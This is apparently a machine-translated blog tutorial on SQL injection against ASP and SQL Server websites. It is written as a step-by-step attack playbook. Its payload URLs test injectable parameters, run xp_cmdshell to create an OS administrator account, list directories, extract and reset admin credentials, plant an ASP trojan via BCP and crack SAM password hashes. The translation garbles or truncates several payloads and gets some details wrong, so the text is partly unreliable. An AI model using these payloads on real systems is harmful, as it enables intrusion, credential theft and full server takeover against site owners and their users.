SQL injection attacks

SQL injection attacks

With the development of B/S application development, more and more programmers are writing applications using this mode. However, due to the varying levels and experience of programmers, a considerable number of programmers did not judge the legitimacy of user input data when writing code, posing a security risk to the application. You can submit a piece of database query code, Root
Obtain the expected data according to the results returned by the program. This is the so-called SQL injection, that is, SQL injection.
SQL injection is accessed from the normal WWW port, and it seems to be no different from the general web page access, so the current Municipal firewall does not alert SQL injection, if the Administrator does not check IIS logs, it may be invisible for a long time. However, the SQL injection method is quite flexible, and many unexpected situations may occur during the injection process. Can you analyze the data according to the actual situation and construct clever SQL statements to obtain the desired data successfully.
According to statistics, ASP + access or sqlserver accounts for more than 70% of websites, PHP + mysq accounts for L20 %, and others do not. In this paper, SQL-SERVER + ASP examples to illustrate the principle, method and process of SQL injection. (The PHP injection article was written by another Nb-consortium friend Zwell)
The general idea of SQL injection attacks is:
L SQL Injection Location discovered;
L determine the background database type;
L determine the executable status of xp_cmdshell
L web virtual directory discovered
L upload ASP Trojans;
L obtain the Administrator permission;
I. Determination of SQL Injection Vulnerabilities
In general, SQL Injection generally exists in the form of http: // XXX. XXX. XXX/ABC. asp? In ASP dynamic web pages with parameters such as ID = XX, sometimes a dynamic web page may have only one parameter, sometimes there may be N parameters, sometimes Integer Parameters, or sometimes string parameters, cannot be generalized. In short, as long as a dynamic webpage with parameters and the webpage accesses the database, there may be SQL injection. If ASP programmers do not have security awareness and do not filter necessary characters, there is a high possibility of SQL injection.
To fully understand the dynamic web page response information, adjust the IE configuration first. Remove the check box before ie menu-tool-Internet option-advanced-show friendly HTTP Error messages.
To clarify the problem, the following uses http: // XXX. XXX. XXX/ABC. asp? P = YY is used as an example for analysis. yy may be an integer or a string.
1. Integer parameter judgment
When the input parameter YY is an integer, the SQL statement in ABC. asp is generally as follows:
Select * from table name where field = YY, so you can use the following steps to test whether SQL Injection exists.
① Http: // XXX. XXX. XXX/ABC. asp? P = YY '(with a single quotation mark attached), the SQL statement in ABC. asp becomes
Select * from table name where field = YY ', ABC. asp running exception;
② Http: // XXX. XXX. XXX/ABC. asp? P = YY and 1 = 1, ABC. asp is running normally, and it works properly with http: // XXX. XXX. XXX/ABC. asp? P = YY: The running result is the same;
③ Http: // XXX. XXX. XXX/ABC. asp? P = YY and 1 = 2, ABC. asp running exception;
If the preceding three steps are fully met, the SQL injection vulnerability exists in ABC. asp.
2. Determination of string Parameters
When the input parameter YY is a string, the SQL statement in ABC. asp is generally as follows:
Select * from table name where field = 'yy', so you can use the following steps to test whether SQL Injection exists.
① Http: // XXX. XXX. XXX/ABC. asp? P = YY '(with a single quotation mark attached), the SQL statement in ABC. asp becomes
Select * from table name where field = YY ', ABC. asp running exception;
② Http: // XXX. XXX. XXX/ABC. asp? P = YY & nb... 39; 1' = '1', ABC. asp runs normally, and it works with http: // XXX. XXX. XXX/ABC. asp? P = YY: The running result is the same;
③ Http: // XXX. XXX. XXX/ABC. asp? P = YY & nb... 39; 1' = '2', ABC. asp running exception;
If the preceding three steps are fully met, the SQL injection vulnerability exists in ABC. asp.
3. Handling of Special Cases
Sometimes ASP programmers filter out single quotes and other characters to prevent SQL injection. You can try the following methods.
① Fixed-size mixing: Because vbs are not case sensitive, programmers usually either filter all uppercase strings or all lowercase strings during filtering, while case-sensitive mixing is often ignored. For example, replace select and select with select;
② Unicode method: in IIS, Unicode character sets are used for internationalization. We can convert the string entered in IE into a unicode string for input. For example, + = % 2B, Space = % 20, etc. For urlencode information, see Appendix 1;
③ ASCII code method: You can replace all or part of the entered characters with ASCII code, such as U = CHR (85) and a = CHR (97, for ASCII information, see appendix 2;

Ii. differentiate Database Server types
In general, access and SQL-SERVER are the most commonly used database server, although they all support T-SQL standards, but there are differences, and different databases have different attack methods, must be treated differently.
1. Identify by using system variables of the Database Server
SQL-SERVER has user, db_name () and other system variables, using these system values not only can judge the SQL-SERVER, but also can get a lot of useful information. For example:
① Http: // XXX. XXX. XXX/ABC. asp? P = YY and user> 0 not only can judge whether it is a SQL-SERVER, but also can get the user name currently connected to the database
② Http: // XXX. XXX. XXX/ABC. asp? P = YY & n... db_name ()> 0 can not only judge whether it is a SQL-SERVER, but also get the name of the database currently in use;
2. Use System tables
The access system table is msysobjects, and has no access permission in the web environment, while the SQL-SERVER system table is sysobjects, has access permission in the Web environment. For the following two statements:
① Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select count (*) from sysobjects)> 0
② Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select count (*) from msysobjects)> 0
If the database is a SQL-SERVE, the first, ABC. asp must be running normally, the second is abnormal; if access is, both are abnormal.

3. MSSQL three key system tables
Sysdatabases system table: each database on Microsoft SQL Server occupies one row in the table. When you first Install SQL Server, sysdatabases contains the master, model, MSDB, mssqlweb, and tempdb database items. The table is only stored in the master database. This table is saved in the master database. What information is saved in this table? This is very important. It stores all the database names, as well as the database IDs and related information.
Here I will list the useful field names and descriptions. Name // indicates the name of the database.
Dbid // indicates the database ID. dbid ranges from 1 to 5. These databases are master, model, MSDB, mssqlweb, and tempdb respectively. Select * from Master. DBO. sysdatabases to query all database names.

Sysobjects: each database in the SQL-SERVER has this system table, which stores all the objects created in the database, such as constraints, default values, logs, rules, stored procedures, etc, each object occupies one row in the table. The following table describes the field names and descriptions of the system table.
Name, ID, xtype, uid, status: Object Name, Object ID, object type, user ID of the owner object, and object status.
Object Type (xtype ). It can be one of the following object types:
C = check Constraints
D = default value or default Constraint
F = foreign key constraint
L = Log
Fn = scalar function
If = embedded table functions
P = Stored Procedure
PK = primary key constraint (type: K)
Rf = copy and filter the Stored Procedure
S = system table
TF = table functions
Tr = trigger
U = User table
Uq = unique constraint (type is K)
V = View
X = Extended Stored Procedure
When xtype = 'U' and status> 0 indicates that the table is created by the user, the object name is the table name, and the Object ID is the table id value.
Use: Select * From chouyfd. DBO. sysobjects where xtype = 'U' and status> 0 to list the table names created by all users in chouyfd.

Syscolumns: each column in each table and view occupies one row in the table, and each parameter in the stored procedure occupies one row in the table. The table is located in each database. The main fields are:
Name, ID, colid: The field name, table ID, and field ID respectively. The ID is the ID of the table we just obtained using sysobjects.
Select * From chouyfd. DBO. syscolumns where id = 123456789.

Iii. Determine the executable status of xp_cmdshell
If the account that is currently connected to data has the SA permission and master. DBO. xp_mongoshell extends the Stored Procedure (you can directly use the shell of the operating system to call this Stored Procedure). The entire computer can be fully controlled using the following methods, and all subsequent steps can be saved.
1. http: // XXX. XXX. XXX/ABC. asp? P = YY & nb... er> 0 ABC. asp: Execution exception. However, you can obtain the username of the currently connected database (if DBO is displayed, it indicates SA ).
2. http: // XXX. XXX. XXX/ABC. asp? P = yy... Me ()> 0 ABC. asp execution exception, but the name of the database currently connected can be obtained.
3. http: // XXX. XXX. XXX/ABC. asp? P = YY; Exec master .. xp_mongoshell "Net user aaa bbb/Add" -- (the master is the primary database of the SQL-SERVER; the semicolon in the name indicates that the SQL-SERVER executes the statement name before the semicolon and continues to execute the statement after it; "-" is an annotation, indicating that all the content after it is only a annotation, and the system does not execute it) You can directly add the operating system account AAA with the password BBB.
4. http: // XXX. XXX. XXX/ABC. asp? P = YY; Exec master .. xp_mongoshell "net localgroup administrators AAA/Add" -- add the newly added account AAA to the Administrators group.
5. http: // XXX. XXX. XXX/ABC. asp? P = YY; backuup database name to disk = 'C: \ Inetpub \ wwwroot \ save. db' backs up all the data to the web directory and downloads the file over HTTP (of course, the Web virtual directory is preferred ).
6. Create a unicode vulnerability by copying cmd
Http: // XXX. XXX. XXX/ABC. asp? P = YY; exe... DBO. xp_mongoshell "Copy c: \ winnt \ system32 \ cmd.exe c: \ Inetpub \ scripts \ cmd.exe" creates a unicode vulnerability by exploiting this vulnerability, this completes the control of the entire computer (of course, the first choice is to know the WEB virtual directory ).

4. Discover web virtual directories
Only the WEB virtual directory can be found to determine the location where the ASP Trojan is placed and obtain the user permission. Two methods are effective.
First, based on experience, the Web virtual directory is: C: \ Inetpub \ wwwroot; D: \ Inetpub \ wwwroot; E: \ Inetpub \ wwwroot, the executable virtual directory is: C: \ Inetpub \ scripts; D: \ Inetpub \ scripts; E: \ Inetpub \ scripts.
The second is to traverse the directory structure of the system, analyze the results and find the WEB virtual directory;
First create a temporary table: temp
Http: // XXX. XXX. XXX/ABC. asp? P = YY; Create & n... MP (ID nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255 ));--
Next:
(1) We can use xp_availablemedia to obtain all the current drives and store them in the temp table:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert temp... ter. DBO. xp_availablemedia ;--
We can query the temp content to obtain the drive list and related information.
(2) We can use xp_subdirs to obtain the subdirectory list and store it in the temp table:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (I... DBO. xp_subdirs 'C :\';--
(3) We can also use xp_dirtree to obtain the directory tree structure of all subdirectories and import them to the temp table:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID, num1) exec master. DBO. xp_dirtree 'C :\';--
In this way, you can successfully browse the list of all directories (folders:

To view the content of a file, run xp_cmdsell:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID) exec... nbsp; 'Type c: \ WEB \ index. asp ';--
You can use the 'bulk insert' syntax to insert a text file into a temporary table. For example, bulk insert temp (ID) from 'C: \ Inetpub \ wwwroot \ index. asp'
View temp to view the index. asp file! By analyzing various ASP files, you can obtain a large amount of system information, web construction and management information, and even the connection password of the SA account.

Of course, if xp_cmshell can be executed, we can use it to complete:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID) & nbs... into shell 'dir c :\';--
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID) & n... p_20.shell 'dir c: \ *. asp/S/';--

Through xp_cmdshell, we can see all what we want to see, including w3svc
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID) exec master. DBO. xp_1_she... UB \ adminscripts \ adsutil. vbs Enum W3SVC'

However, we can also use
Http: // XXX. XXX. XXX/ABC. asp? P = YY; insert into temp (ID, num1) exec master. DBO. xp_dirtree 'C :\';--

Note:
1. After each of the preceding items is viewed, all contents in temp should be deleted:
Http: // XXX. XXX. XXX/ABC. asp? P = YY; delete from temp ;--
2. The temp table is browsed by: (Suppose testdb is the name of the database currently connected)
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top &... nbsp; testdb. DBO. temp)> 0 to get the value of the first record ID field in the table temp, and compare it with the integer, obviously ABC. ASP is abnormal, but the value of the ID field can be found in the exception. If the table name is xyz
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top 1 ID from... ere id not in ('xyz')> 0 to get the value of the second record ID field in the temp table.

5. upload an ASP Trojan
The so-called ASP Trojan is a piece of ASP code with special functions and put it under the scripts of the Web virtual directory. Remote customers can execute it through IE to obtain the user permission of the system, implement initial control over the system. There are two effective methods for uploading ASP Trojans:
1. Use the Web Remote Management Function
Many Web sites provide remote management to facilitate maintenance. Many Web sites have different access permissions for different users. In order to achieve the control of user permissions, there is a Web page that requires the user name and password. Only after the correct value is entered can the next operation be performed to manage the web, such as uploading and downloading files, browsing directories, and modifying configurations.
Therefore, if you get the correct user name and password, you can not only upload ASP Trojans, but sometimes even directly get the user permission to browse the system, all the complex operations of "discovering Web virtual directories" in the previous step are omitted.
The username and password are generally stored in a table, and the problem is solved when the table is read. The following two effective methods are provided.
A. injection method:
Theoretically, the authentication webpage has the following types:
Select * from Admin where username = 'xxx' and Password = 'yyy' statement. If necessary character filtering is not performed before the sentence is officially run, it is easy to implement SQL injection.
For example, enter ABC 'or 1 = 1 in the username text box -- enter 123 in the password box, and the SQL statement is changed:
Select * from Admin where username = 'abc' or 1 = 1 and Password = '000000' this statement can always be executed correctly regardless of the user name and password entered by the user. You can easily cheat the system, obtain a valid identity.
B. Guess the solution:
The basic idea is: to guess the names of all databases, guess the names of each table in the warehouse, analyze the table names that store the user name and password, and guess the names of each field in the table, guess the content of each record in the table.
L guess all database names
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select count (*) from master. DBO. sysdatabases where Name> 1 and dbid = 6) <> 0 because the value of dbid ranges from 1 to 5, it is used by the system. Therefore, the user must have created it from 6. In addition, we submitted name> 1 (the name field is a character-type field and the number will be wrong), ABC. ASP is abnormal, and the first database name can be obtained. Similarly, the dbid is changed to 7, 8, 9, 10, 11, 12... all Database names can be obtained.
Assume that the database name is testdb.

L guess the name of the user table in the database
Guess: This method is used to guess the table name based on personal experience. Generally, user, users, Member, members, userlist, memberlist, userinfo, Manager, admin, adminuser, systemuser, systemusers, sysuser, sysusers, sysaccounts, and systemaccounts. And Judge by statement
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select count (*) from testdb. DBO. Table Name)> 0 if the table name exists, ABC. ASP works normally; otherwise, an exception occurs. Wait until you guess the name of the system account table.
Read method: The SQL-SERVER has a table that stores the core information of the system sysobjects, all the tables, views and other information about a database is stored in this table, and this table can be accessed through the web.
When xtype = 'U' and status> 0 indicates the table created by the user, you can obtain the name of the user table by finding and analyzing the table and name created by each user, the basic implementation method is:
① Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top 1 name from testd... type = 'U' and status> 0)> 0 to get the name of the table created by the first user and compare it with an integer. ASP is abnormal, but the table name can be found in the exception. If the table name is xyz
② Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top 1 name from testdb. DBO. sysobjects &... tatus> 0 and name not in ('xyz')> 0 to get the name of the table created by the second user. Similarly, you can get the names of all created tables.
According to the table name, the user name and password of the table are generally determined. The following assumes that the table is named admin.
L name of the username field and password field
The admin table must have a username field and a password field. Only the names of these two fields can be obtained. There are two ways to get their names.
This method is used to guess the field name based on personal experience. Generally, the username field is commonly used: username, name, user, account, etc. The names of password fields are commonly used: Password, pass, PWD, passwd, etc. And Judge by statement
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select count (field name) from testdb. DBO. admin)> 0 "select count (field name) from table name" statement to obtain the number of rows in the Table. Therefore, if the field name exists, ABC. ASP works normally. Otherwise, an exception occurs. This loop continues until the names of the two fields are guessed.
Read method: the basic implementation method is
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (Select... Me (object_id ('admin'), 1) from testdb. DBO. sysobjects)> 0. Select top 1 col_name (object_id ('admin'), 1) from testdb. DBO. sysobjects is the first field name for obtaining a known table name from sysobjects. When compared with an integer, it is clear that ABC. ASP is abnormal, but the field name can be found in the exception. Replace 1 in col_name (object_id ('admin'), 1 with 2, 3, 4, 5, 6... to get the names of all fields.
L guess the username and password
The most common and effective methods to guess the user name and password are:
ASCII code verbatim decoding method: although this method is slow, it is certainly feasible. The basic idea is to first guess the length of the field and then guess the value of each bit in sequence. The method of user name guessing is the same as that of password guessing. The following uses the user name guessing as an example to describe the process.
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top & n... nbsp; from testdb. DBO. admin) = x (x = 1, 2, 3, 4, 5 ,... n, username is the name of the user name field, admin is the name of the table), if X is a value of I and ABC. when ASP is running normally, I is the length of the first user name. For example, when you enter
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top... e) from testdb. DBO. Admin) = 8 When ABC. asp runs normally, the length of the first user name is 8
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (sel... ASCII (substring (username, M, 1) from testdb. DBO. admin) = n (m value ranges from 1 to the length of the username obtained in the previous step. When M is 1, 2, 3 ,... I guess the second, second, third ,... bit value; n value is 1 ~ 9. ~ Z, ~ ASCII value of Z, that is, 1 ~ Any value between 128; Admin is the name of the System user account table), if n is a value of I and ABC. when ASP is running normally, the ASCII code corresponding to I is the value of a user name. For example, when you enter
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (sel... ASCII (substring (username, 3, 1) from testdb. DBO. admin) = 80 ABC. if ASP runs normally, the third digit of the user name is P (ASCII of P is 80 );
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (sel... ASCII (substring (username, 9, 1) from testdb. DBO. admin) = 33 ABC. if ASP runs normally, the 9th-bit user name is! (! ASCII is 80 );
After you have guessed the first user name and password, you can guess all other user names and passwords. Note: Sometimes the obtained password may be the Information encrypted by MD5 or other methods, and you also need to use a dedicated tool for password removal. You can also change the password before using it. See the following description.
Simple Method: Use the user name to guess
Http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top 1... o. admin where username> 1). flag is a field in the admin table, and username is the username field. In this case, ABC. ASP is abnormal, but the username value can be obtained. In the same way as above, you can get the second user name, the third user, and so on until all the user names in the table.
Guess the User Password: http: // XXX. XXX. XXX/ABC. asp? P = YY and (select top 1 & nb... b. DBO. admin where PWD> 1). flag is a field in the admin table, and PWD is a password field. In this case, ABC. ASP is abnormal, but the value of PWD can be obtained. In the same way, you can obtain the password of the second user name, the password of the third user, and so on until the password of all users in the table. The password is sometimes encrypted by MD5 and can be changed.
Http: // XXX. XXX. XXX/ABC. asp? P = YY; update testdb. DBO. admin set Pwd = '... where username = 'www '; -- (the MD5 value of 1 is aaabbbcccdddeeef, that is, change the password to 1; WWW is a known user name)
You can change the password to the original value in the same way.

2. Use the table content to import files
SQL has the BCP command, which can export the table content into a text file and place it in a specified location. With this function, we can first create a temporary table, then input an ASP trojan in one row in the table, and then use the BCP command to export and form an ASP file.
The command line format is as follows:
BCP "select * from text .. foo "queryout c: \ Inetpub \ wwwroot \ runcommand. ASP-C-s localhost-U sa-P foobar (the 's' parameter is the server for query execution, the 'U' parameter is the user name, And the 'p' parameter is the password, finally, a runcommand is uploaded. ASP Trojans)

6. Obtain system administrator privileges
ASP Trojans only have the user permission. To gain full control over the system, you must have the system administrator permission. What should I do? There are many methods to improve permissions:
Upload the trojan and modify the. ini file that runs automatically upon startup (it will die upon restart );
Copy cmd.exe to scripts to create a unicode vulnerability;
Download the Sam file, crack and obtain all the OS user names and passwords;
Wait, depending on the specific circumstances of the system, you can adopt different methods.

7. Several special means of SQL-SERVER
1. Use xp_regread to extend the stored procedure to modify the Registry
[Xp_regread] Another useful internal stored procedure is a collection of functions of the xp_regxxxx class (values, xp_regdeletekey, xp_regdeletevalue, values, xp_regenumvalues, xp_regread, expires, xp_regwrite ). Attackers can use these functions to modify the registry, such as reading the Sam value, allowing empty connections, and automatically running programs at startup. For example:
Exec xp_regread HKEY_LOCAL_MACHINE, 'System \ CurrentControlSet \ Services \ LanmanServer \ Parameters ', 'nullsessionshares' determine what session connections are available on the server.
Exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'System \ CurrentControlSet \ Services \ SNMP \ Parameters \ validcommunities 'displays all SNMP group configurations on the server, attackers may reconfigure network devices in the same network.
2. Use other stored procedures to change the server
Xp_servicecontrol allows users to start and stop services. For example:
(Exec master .. xp_servicecontrol 'start', 'schedule'
Exec master .. xp_servicecontrol 'start', 'server ')
Xp_availablemedia displays the drive that is useful on the machine
Xp_dirtree allows a directory tree
Xp_enumdsn list ODBC data sources on the server
Xp_loginconfig
Xp_makecab allows you to create a compressed file on the server
Xp_ntsec_enumdomains lists the domains that the server can access.
Xp_terminate_process provides the process ID to terminate the process.

Appendix 1: urlunicode table (excerpt, mainly non-letter characters, rfc1738)
Meaning of special characters URL Encoding
# Used to mark the specific document LOCATION % 23
% Encode special characters % 25
& Separate different variable value pairs % 26
+ Space % 2B in the variable value
/Indicates the directory path % 2f
\ % 5c
= Used to connect keys and values % 3d
? Start % 3f of the query string
Space % 20
. Period % 2e
: Colon % 3A

Appendix 2: ASCII table (excerpt)
Dec hex char dec hex char
80 50 p
32 20 (Space) 81 51 Q
33 21! 82 52 r
34 22 "83 53 s
35 23 #84 54 t
36 24 $ content $ nbsp; 85 55 U
37 25% 86 56 v
38 26 & 87 57 W
39 27 '88 58 x
40 28 (89 59 y
41 29) 90 5A Z
42 2a * 91 5B [
43 2B + 92 5C \
44 2C, 93 5D]
45 2D-94 5E ^
46 2E. 95 5f _
47 2f/96 60'
48 30 0 97 61
49 31 1 98 62 B
50 32 2 99 63 C
51 33 3 100 64 d
52 34 4
53 35 5 101 65 E
54 36 6 102 66 F
55 37 7 103 67g
56 38, 8, 104, 68 h
57 39 9 105 69 I
58 3A: 106 6a J
59 3B; 107 6B K
60 3C <108 6C L
61 3D = 109 6D m
62 3E> 110 6e n
63 3f? 111 6f o
112 70 p
64 40 @ 113 72 Q
65 41 A 114 72 R
66 42 B 115 73 s
67 43 C 116 74 t
68 44 d 117 75 U
69 45 e 118 76 V
70 46 F 119 77 W
71 47g 120 78 X
72 48 h 121 79 y
73, 49, I 122, 7A, Z
74 4A J 123 7b {
75 4B K 124 7C |
76 4C l 125 7d}
77 4D M 126 7E ~
78 4E n 127 7f €
79 4f o 128 80

Http://tb.blog.csdn.net/TrackBack.aspx? Postid = 655162